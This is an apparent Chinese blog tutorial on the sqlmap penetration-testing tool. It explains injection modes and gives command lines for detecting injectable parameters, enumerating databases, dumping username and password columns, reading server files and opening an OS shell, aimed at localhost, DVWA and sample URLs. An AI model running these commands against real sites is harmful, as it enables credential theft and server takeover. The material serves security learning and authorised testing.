渗透测试工具-sqlmap
简单来说:一个用来做sql注入攻击的工具
安装
1,下载sqlmap.zip,下载环境;
打开sqlmap官网https://github.com/sqlmapproject/sqlmap/ ;下载python-2.7.17.amd64.msi
2.配置环境变量;
(控制面板->系统和安全->系统->高级系统设置->环境变量)找到path 新建黏贴python地址
(不明白的话可以自行百度,这就不细说安装了)
sqlmap简介
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase、SAP MaxDB、informix和HsqlDB
SQLMAP工作流程
sqlmap -u “http://127.0.0.1/Less-1/index.php?id=1”
当给sqlmap这么一个url的时候,它会:
1、检测网站是否能够访问
2、检测是否有waf
3、判断可注入的参数
4、判断可以用那种sql注入技术来注入
5、识别出那种数据库
6、根据用户输入的参数,进行操作
基本格式
sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认使用level1检测全部数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
跟随302跳转
当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
注入成功后
获取数据库基本信息
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据
sqlmap详细命令:
- –is-dba 当前用户权限(是否为root权限)
- –dbs 所有数据库
- –current-db 网站当前数据库
- –users 所有数据库用户
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- –passwords 数据库密码
- –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
测试sqlmap功能(dvwa测试网站)
拿到url后命令行输入
python2 sqlmap.py –u “http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#”
显示如下:
如果没有检测到会报错
现在可以尝试上面的执行语句,如爆库表列等:
库
表
列
读写文件
python sqlmap.py -u " " --file-read "要读取文件的目录 "
os参数(执行系统命令)
测试流程:
a)攻击:python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell
b)选择语言:
sqlmap默认为php,此处根据需求选择。
c)输入绝对路径:
此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www
d)建立os-shell并执行命令:
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
最新文章
- java 后台开发关键词解释
- c++ 数据类型转换: static_cast dynamic_cast reinterpret_cast const_cast
- 【web前端面试题整理03】来看一点CSS相关的吧
- tornado web高级开发项目之抽屉官网的页面登陆验证、form验证、点赞、评论、文章分页处理、发送邮箱验证码、登陆验证码、注册、发布文章、上传图片
- php表单中如何获取单选按钮与复选按钮的值
- zabbix表结构
- uboot 的内存命令使用 mw (修改) md (显示)
- OC基础(6)
- This implementation is not part of the Windows Platform FIPS validated cryptographic algorithms. 此实现不是 Windows 平台 FIPS 验证的加密算法的一部分 解决方案
- MongoDB的主从复制和副本集
- RabbitMQ 原文译05--Topics
- 怎样学习HTML5?
- 网络基础知识系列:阐述VLAN和Trunk
- Sql语句构造类,多字段新增或修改时,拼装sql语句比较方便
- 通过fromdata实现上传文件
- 6-4 The present perfect
- 多线程之Executors基本使用
- [HDU1693]Eat the Trees
- 关于git分支管理,推送拉取等等
- [转]总结@Autowired 和@Resource
热门文章
- Java学习日报7.12
- Base 128 Varints 编码(压缩算法)
- RocketMQ(十):数据存储模型设计与实现
- linux下 shell时间处理
- java.io.NotSerializableException: org.apache.kafka.clients.consumer.ConsumerRecord
- pytorch模型结构可视化,可显示每层的尺寸
- uber_go_guide解析(三)(规范)
- SpringCloud Alibaba Nacos服务注册与配置管理
- Java调用Linux命令执行
- 使用yaml配置文件管理资源